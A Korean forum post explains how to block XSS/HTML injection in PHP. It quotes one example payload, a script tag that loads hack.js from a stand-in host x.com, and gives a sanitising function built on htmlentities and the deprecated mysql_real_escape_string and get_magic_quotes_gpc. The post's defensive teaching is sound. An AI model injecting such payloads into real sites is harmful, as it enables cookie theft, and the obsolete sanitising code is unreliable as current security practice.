테스트 사이트 - 개발 중인 베타 버전입니다

HTML Injection 막기

· 4년 전 · 4352 · 6

XSS는 사용자의 입력으로 HTML이나 흔하게는 자바스크립트 코드를 허용했을 때 발생합니다.

 

XSS는 주로 댓글 입력폼에서 가장 흔하게 발생합니다.

 

가장 자주 발생하는 형태는 악의적인 사용자가 웹 사이트의 사용자로부터

 

계정의 이름과 암호 쿠키를 훔치기 위한 코드를 작성하려고 시도하는 것 입니다.

 

더욱 더 나쁜 것은 다른 사용자의 컴퓨터에 트로이 바이러스를 다운로드하는 공격에 착수할 수 있다는 것 입니다.

 

크로스 사이트 스크립트를 막으려면 모든 HTML 마크업 코드를 제거하고 문자를 출력하는 형태로 교체해야 합니다.

 

<script src='http://x.com/hack.js'> </script> <script> hack(); </script>

 

만약 해커가 다음과 같은 코드를 작성했다고 했을 때 

 

htmlentities로 전달되면 자바스크립트를 실행하는 기호가 &lt &gt 로 해석되어  자바스크립트가 실행되지 않습니다.

 

따라서 SQL과 XSS 인젝션을 모두 처리 할 수 있는 함수는 다음과 같습니다. 

 

<?php
function mysql_entities_fix_string($string)
{
    return htmlentities(mysql_fix_string($string));
}    

function mysql_fix_string($string)
{
    if (get_magic_quotes_gpc()) $string = stripslashes($string);
    return mysql_real_escape_string($string);
}
?>

 

참고서적 : Learning PHP, MySQL , JavaScript & CSS

댓글 작성

댓글을 작성하시려면 로그인이 필요합니다.

로그인하기

댓글 6개

4년 전
감사합니다~
와 좋은 팁입니다. 정말 감사합니다.
4년 전
안녕하세요. 유용한 소스 같은데...어떻게 활용하는지도 알려주실 수 있을까요?
감사합니다.
4년 전
감사합니다
감사합니다
ㄱㅁ

게시글 목록

번호 제목
24318
24317
24315
24309
24294
24293
24277
24262
24260
24253
24251
24236
24233
24228
24226
24221
24214
24203
24201
24199
24196
24195
24194
24192
24191
24187
24185
24183
24172
24168